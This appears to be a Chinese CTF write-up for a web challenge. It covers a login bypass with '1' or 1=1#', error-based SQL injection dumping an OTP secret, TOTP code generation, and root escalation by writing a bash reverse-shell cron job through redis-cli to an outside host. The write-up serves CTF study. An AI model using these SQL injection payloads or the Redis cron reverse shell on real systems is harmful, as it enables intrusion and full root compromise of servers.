GitHub上有开源的项目
参考文章
我们下载下载该项目,然后按照给的exp修改一下
在该项目创建exp.php,内容如下
<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";
成功生成验证码
步骤如下
redis-cli -h 靶机ip
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save
然后开启监听,过一会就会发现反弹shell成功并且是root权限
打开题目发现是登录框
直接试试万能密码登录成功
1' or 1=1#
123456
提示/google_authenticator.php
,访问一下发现要验证身份
没啥线索只好回去继续sql注入
一开始尝试联合注入发现只能知道字段数为4
试试报错注入,存在回显
然后一步步注入
//爆数据库 actf_is_fun
1' and updatexml(1,concat(0x7e,database(),0x7e),3)#
//爆表名 users
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='actf_is_fun'),1,31),0x7e),3)#
//爆列名 id,username,password,otp_secret_key
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),3)#
这里的列名长度不够,_key
在后面
然后我们知道要身份验证,我们查询otp_secret_key(很长)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY
解码一下得到密钥
然后就是利用脚本得到验证码
<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";
输入验证码
继续访问,发现可以蚁剑连接
连接上后发现权限不够,开始想用suid提权发现不行
查看下历史进程
ps aux
发现是redis数据库
利用redis提权方式有几种,主从复制版本问题用不了,写马权限不够
这里用的是redis-cli结合定时任务来反弹root权限的shell提权
我们先反弹shell到服务器上
然后就是提权,由于我们是反弹shell,而redis-cli需要交互模式,但是反弹shell不是交互模式,我们需要将非交互模式变为交互模式(就是进入终端)
步骤如下
redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save
END
开启监听,过一会反弹成功得到root权限